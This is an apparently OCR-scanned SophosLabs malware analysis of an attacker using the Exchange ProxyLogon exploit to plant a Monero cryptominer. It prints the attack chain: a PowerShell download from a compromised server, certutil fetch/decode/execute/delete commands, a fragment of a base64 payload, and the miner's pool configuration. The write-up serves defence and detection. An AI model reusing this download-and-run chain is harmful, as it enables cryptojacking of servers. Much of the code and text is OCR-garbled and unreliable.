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In the weeks since Microsoft released details about a serious vulnerability affecting their
Exchange mail server software, a range of threat actors have been targeting exploitable
servers with a variety of malware, from webshells to ransomware. But those aren’t the only
payloads we’ve seen directed at Exchange servers: An unknown attacker has been
attempting to leverage what’s now known as the ProxyLogon exploit to foist a malicious
Monero cryptominer onto Exchange servers, with the payload being hosted on a
compromised Exchange server.

The SophosLabs team was inspecting telemetry when they came across the unusual attack
targeting a customer’s Exchange server. The attack begins with a PowerShell command to
retrieve a file named win_r.zip from another compromised server’s Outlook Web Access
logon path (/owa/auth).

How the attack works

powershell Invoke-WebRequest hxxps://mail. | IJEEcom/owa/auth/win_r.zip -

QutFile run.bat — el
The .zip file is not a compressed archive, but a batch script that then invokes the built-into-

Windows certutil.exe program to download two additional files, win_s.zip and win_d.zip.
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Neither of these are compressed files, either.

~— — 00 i & I‘ttpE:_.-'_.-'mail_com_.-—'u:n-va,.-"sJth_.-'win_r zip - = [ o=

certutil.exe -urlcache -split -f https:,-‘,-’mail._.cu:nm,-’uwa,-’auth,-"win_s.zip QuickCPU.b&4
certutil.exe -urlcache -split -f https:;‘,-"mail._.cu:um,-’u:uwa.-‘auth,-’win_d.zip QuickCPU.dat
certutil.exe -decode QuickCPU.be4 QuickCPU.exe
del QuickCPU.ba4

echo | QuickCPU.exe

del QuickCPU.exe

del QuickCPU.dat

del ¥a

SOPHOS ldﬁs
The first file is written out to the filesystem as QuickCPU.b64. The certutil application is
designed to be able to decode base64-encoded security certificates, so the attackers have
leveraged that functionality by encoding an executable payload in base64 and wrapping it in
headers that indicate it is some form of digital certificate.

< — 0O & | httpsy/mail | GGG o va/auth/win_s:

TVQOAAMAAAAEAAAA S FEAAL SAAAALAALAADAALAALAALAAAAAAAAAASANSALAALAAL
AAARAALAAAASLAANSARALLAT UgAATANNTIbgBTMEhVEhpcyBwemSncmFEIGNhbmSy
dCBiZSBydWdgalldgRESTIGLvZGUUDDSK ] AAALAAALAABORQAAZIYCAFBNUZAAAALS
AARAAPAATEALAgEAAGEAALATAAAAAAAAALAAAAABAAAAAEAAAAAAAAAGAAAAAGAA
BAAAAAAAAAAEAAAAALAALADALAASASAAALAAAAMAQTUAAEAAAALAAAABAALAAAAAS
ALADAAAAAAAATAAAAAAAAAAAAAADAASAAAALAAALARMALAAALARAAACSARAGEZAL
AAAAAAAALMALAAALAARMAAAAAAAAARAAAAAAAAAALARMALAARALARSAANAAAARAALS
AAAARAAAAMALAARLALMAAAAAAAAARASAAAAAAAAAARMALARALARAAALSAABTAALS
AdaspansAAANdEYAdARAAHRNALAAATALALGEAAAACARLAAAALLAALLANALSASL LS
LnlzcmMAAAAGEEALAKAAAAATAAAASSAAAAAAAAALARAALAAADAAAQALAALALAALS
AAAAAAAAAMALAAALALMALARAAAAARASAAAALAAALAABTAAAAASAFATRY AACWLALA
AQAAABBAAATERQAAMATAAAAAAAAAALSALLAAAASAAASAAAAAAARAAAAAAAAALAAA
ALAAAAAAAAATAT g4AAMKACOARALBMALAIQIAAAEAABETHT 4P4DinAgAATWIARADE
AQAAALSIWCS JKWArES4aAlvaKDkAAAOrBCZEAAAKKSSLE+om3YECAAAEOZLBAAAS
TOIAACACBAAAOHKCAAAAT s TAADK/AgAAF 1 Q4UQTAALARGS poNCWET AAAK EwGHxxY
F1IGGlglvAYeWBEEbzwAALO XV rZXEEBhSYSmEOAAAK Ewe REX O +MwgGHxxYF1Ir
XAYFDFglVBYt95suf gMAAAQGHW Y SpMREZMTEhpYBhpYShEakgY FDFhKWFQrFgY T
DF gGHwxYShdYVAYFDFhKHz oy y QY elWAY elE o XWVOQWO raBAAAGHLhKF jy1/// FAHBC
AAAEBhpYSiABAAAKWC g+AAAKKDEAAAPBNAAAARMFIgYmIYEBAAARBIWOAAAAKLBO]
bOEAAAOREBShCAAAKEWbdVQEAACEdXgEAABEFbBMAALACOTCAYFEFERCISpF1hUBRED
WEqQNGAAAARMIEQKWBAEAAAE0DEAACQIGHXRYF1QrKREJBhBUWECRCAYTFFhKF 1ma
begasrsqiFiph/ /S /BhEBUWAY T FFhKF1hUBh8UWESGH=BYS ] LLTRUAAAORBWIGAAAK
EQKHF 3NHAAAKEWORCMIIAAAKEWSRCISIAAAKbBoARACGHXBYShexDBEL T ks ARADY

N
sopHoslabs

this command that outputs the decoded executable into the same directory.

The batch script runs

certutil.exe -decode QuickCPU.b64 QuickCPU.exe

When decoded, the batch script runs the executable, which extracts the miner and
configuration data from the QuickCPU.dat file, injects it into a system process, and then
deletes the evidence. The file uses forged data in its Properties sheet that indicates the file is
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a Windows component, but the binary is not digitally signed and besides, no such file has
ever existed as a standard component of Windows, though there is a legitimate utility with
the same name, made by a third-party software developer. That utility is not connected to

this malware in any way.

B QuickCPU.exe Properties

General Compatibility File Hashes Securty Detalls  Previous Versions

Property Value
Description

File description  QuickCPLU

Type Application

File version 1.0.402191
Product name  Microsoft QuickCPLU
Product wersion  1.0.40215.1

Copyright = Microsoft Corporation. Al ights reser...
Size 285 KB

Date modfied  3/31/2021 5:53 AM

Language Language Meutral

Criginal filename  GuickCP LU exe

Remove Properties and Personal Infomation

sorHos|labs

The executable appears to contain

a modified version of a tool publicly available on Github called PEx64-Injector. The page for
that project describes the tool as having the ability to “migrate any x64 exe to any x64
process...no administrator privileges required.” When it runs, it extracts the contents of the
QuickCPU.dat file (an installer for the miner, and its configuration) temporarily to the
filesystem, configures the miner, injects it into a running process, then quits. The batch file
then deletes the evidence and the miner remains running in memory, injected into a process

already running on the system.
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segment of a root-cause analysis flowchart shows the QuickCPU installer running within the
system folder on a compromised Exchange server after certutil.exe decoded it.

Among the files contained in the QuickCPU.dat archive are the configurator for the miner,
which appears to be xmr-stak. By default, the payload sets up the miner so that it only can
communicate if it can have a secure TLS connection back to the Monero wallet where it will
store its value. If the miner detects that there’s a certificate mismatch (or some other
indication of a TLS MITM), it quits and attempts to reconnect every 30 seconds.

a9 /%

20 * TL3 Settings

21 % If you need regl security, make sure tls secure_algo is enabled (otherwise MITHM attack can downgrade
- encryption

92 * to trivially breakasble stuff like DES and MDS), and wverify the server's fingerprint through s trusted
- channel.

22 %

94 % rls secure_slgo - Use only secure algorithms. This will make us gquit with an error if we can't negotiate s
. secure algo.

aE  #)

%6 "tls secure algo'™ @ true,

a7 - -

ag f*

23 * Dasmon mode

oo *

0l * If wyou are running the process in the background and you don't need the kevhoard reports, set this to
- Lrue.

02 * This should solwe the hashrate problems on some erulated terminals.

oz %

04 "daemon mode™ @ false,

05 - sopHoslabs
The miner’s pools.txt file is also temporarily written to disk, which reveals not only the wallet

address and its password, but also that the name the attacker has given to this pool of
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miners: DRUGS. The “currency”: “randomx” in this file appears to be a configuration
specific to the xmr-stak miner.

"pool list™: [
i

"pool address™: "pool.minexior.com: 34347
frig id"™: "DRUGS",

"pool password'T: "xT,

"uze nicehash"™: false,

fuse tls": false,

"tls fingerprinct™: T,

"pool weight'™: 1

}

1.

fourrency™: "randomx™,

According to the Monero

soPHOSlabs
blockchain, the wallet began receiving funds on March 9 (the Patch Tuesday in which the

Exchange updates were released as part of the update cycle), which corresponds with when
we saw the attack begin. As time has gone on, the attacker lost several servers and the
cryptomining output decreased, but then gained a few new ones that more than make up for
the early losses.

Hashrate Day | Week
1.4 Mh/s
1.2 Mh/s
1 Mh/s
800 kh/s
600 kh/s
400 kh/s
200 kh/s
0 hfs
3/44  3/16  3/18  3/20  3/22 324 3/26  3/28  3/30 a1 a3 4/s 447 af9 4/11 .
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Detection and indicators of compromise

Sophos endpoint products will detect the executables associated with this attack as
Mal/lnject-GV and xmr-stak is detected as XMR-Stak Miner (PUA). SophosLabs has
published indicators of compromise to our Github page.
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SophosLabs acknowledges the assistance of Fraser Howard and Simon Porter in the
discovery and analysis of this threat.
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